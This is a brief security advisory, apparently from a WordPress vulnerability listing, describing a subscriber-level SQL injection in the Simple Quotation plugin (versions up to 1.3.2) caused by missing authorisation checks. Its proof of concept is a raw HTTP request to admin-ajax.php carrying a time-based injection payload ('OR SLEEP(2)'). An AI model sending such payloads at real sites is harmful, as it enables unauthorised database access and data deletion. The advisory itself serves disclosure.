Simple Quotation <= 1.3.2 - Subscriber+ SQL injection

The plugin does not have authorisation (and CSRF) checks in various of its AJAX actions and is lacking escaping of user data when using it in SQL statements, allowing any authenticated users, such as subscriber to perform SQL injection attacks

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 41 Connection: close Cookie: [subscriber+] action=delete_link&idLink;=2+OR+SLEEP(2)–